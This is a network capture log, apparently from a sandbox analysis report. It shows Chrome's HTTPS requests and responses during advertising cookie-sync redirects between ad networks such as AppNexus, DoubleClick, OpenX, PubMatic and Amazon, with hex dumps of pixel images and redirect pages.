2024-03-28 08:51:35 UTC	741	OUT	GET /idsync/ex/receive?partner_id=1955&partner_device_id=2bb0cef5-1ee4-0f18-2346-cec2b395e7eb HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1711615890295; TapAd_DID=40662bab-59e7-453d-8534-da10890213df
2024-03-28 08:51:35 UTC	1095	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:35 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1711615890295;Expires=Mon, 27 May 2024 08:51:35 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=40662bab-59e7-453d-8534-da10890213df;Expires=Mon, 27 May 2024 08:51:35 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Mon, 27 May 2024 08:51:35 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:35 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.4	50323	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	871	OUT	GET /getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:35 UTC	1435	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://us-u.openx.net/w/1.0/sd?id=537072399&val=3287041831475129344 AN-X-Request-Uuid: 85a29398-5e91-437e-b53e-2f8c3794cf2f Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:35 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:35 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:35 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 806.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.4	50327	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	824	OUT	GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
2024-03-28 08:51:35 UTC	736	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESENHAhnWRT2saJZ9muTGfsuI&google_cver=1 Date: Thu, 28 Mar 2024 08:51:35 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 379 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:35 UTC	379	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 49 78 4e 7a 63 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.4	50330	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	824	OUT	GET /match/?int_id=113&gdpr=0&gdpr_consent=&callback=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Donetag.com%26id%3D%24%7BUSER_TOKEN%7D&ot_initiated=1 HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/usync/?cb=1711615879045&gdpr=0&gdpr_consent= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
2024-03-28 08:51:35 UTC	549	IN	HTTP/1.1 302 Found cache-control: no-transform, no-cache p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' set-cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI; path=/; expires=Mon, 28 Apr 2025 01:09:53; domain=onetag-sys.com; SameSite=None; Secure; location: https://s.amazon-adsystem.com/ecm3?ex=onetag.com&id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI content-length: 0 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.4	50331	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	813	OUT	GET /pixel?google_nid=onetag_eb&gdpr=0&gdpr_consent=&google_cm HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
2024-03-28 08:51:35 UTC	684	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://onetag-sys.com/match/?int_id=106&google_gid=CAESEEB7JKuXR_wuEmMcqIbqxMc&google_cver=1&gdpr=0&gdpr_consent= Date: Thu, 28 Mar 2024 08:51:35 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 327 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:35 UTC	327	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 74 61 67 2d 73 79 73 2e 63 6f 6d 2f 6d 61 74 63 68 2f 3f 69 6e 74 5f 69 64 3d 31 30 36 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 45 45 42 37 4a 4b 75 58 52 5f 77 75 45 6d 4d 63 71 49 62 71 78 4d 63 26 61 6d 70 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://onetag-sys.com/match/?int_id=106&google_gid=CAESEEB7JKuXR_wuEmMcqIbqxMc&amp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.4	50335	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	1053	OUT	GET /w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557; pd=v2\|1711615884.7\|iKvPvMgakWgy.bwuYhEgKg2f8
2024-03-28 08:51:35 UTC	555	IN	HTTP/1.1 302 Found Vary: Accept, Accept-Encoding Set-Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; Version=1; Expires=Fri, 28-Mar-2025 08:51:35 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://id.rlcdn.com/464246.gif?partner_uid=7808c26f-88a4-04ff-36de-d6e7b982473f Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.4	50317	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	748	OUT	GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjypJzZ38PnPBAFOAFaBzJ4bGdyemxgAg..
2024-03-28 08:51:35 UTC	625	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Length: 355 Connection: close server: Kestrel location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&gdpr_consent= set-cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Fri, 28 Mar 2025 08:51:35 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwiqkoXqycPnPBAFGAEgASgCMgsI7IiIl-DD5zwQBTgBWghwdWJtYXRpY2AC; expires=Fri, 28 Mar 2025 08:51:35 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-03-28 08:51:35 UTC	355	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 49 34 4e 44 6b 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 Data Ascii: Redirecting to: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&gdpr_consent=">https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.4	50301	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	356	OUT	GET /v1/trk/adv HTTP/1.1 Host: audience.codesour.tech Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:35 UTC	288	IN	HTTP/1.1 405 Method Not Allowed Allow: POST Cache-Control: must-revalidate,no-cache,no-store Content-Type: application/json Date: Thu, 28 Mar 2024 08:51:35 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:35 UTC	127	IN	Data Raw: 37 39 0d 0a 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 30 33 2d 32 38 54 30 38 3a 35 31 3a 33 35 2e 38 36 38 2b 30 30 3a 30 30 22 2c 22 73 74 61 74 75 73 22 3a 34 30 35 2c 22 65 72 72 6f 72 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 2c 22 70 61 74 68 22 3a 22 2f 76 31 2f 74 72 6b 2f 61 64 76 22 7d 0d 0a Data Ascii: 79{"timestamp":"2024-03-28T08:51:35.868+00:00","status":405,"error":"Method Not Allowed","message":"","path":"/v1/trk/adv"}
2024-03-28 08:51:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.4	50306	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	853	OUT	GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=01F5328A-C4D9-44AD-8468-60A885247C68&redir=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; ad-privacy=0
2024-03-28 08:51:35 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: P8GMRZD9CB8CG1RS96M0 Set-Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 08:51:35 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 08:51:35 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-03-28 08:51:35 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.4	50303	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	1053	OUT	GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:36 UTC	1512	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=3287041831475129344&gdpr=0&gdpr_consent= AN-X-Request-Uuid: 52e4461f-ec5b-4306-9304-2fbfeb7fd4e8 Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:35 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:35 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:35 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 806.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.4	50297	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
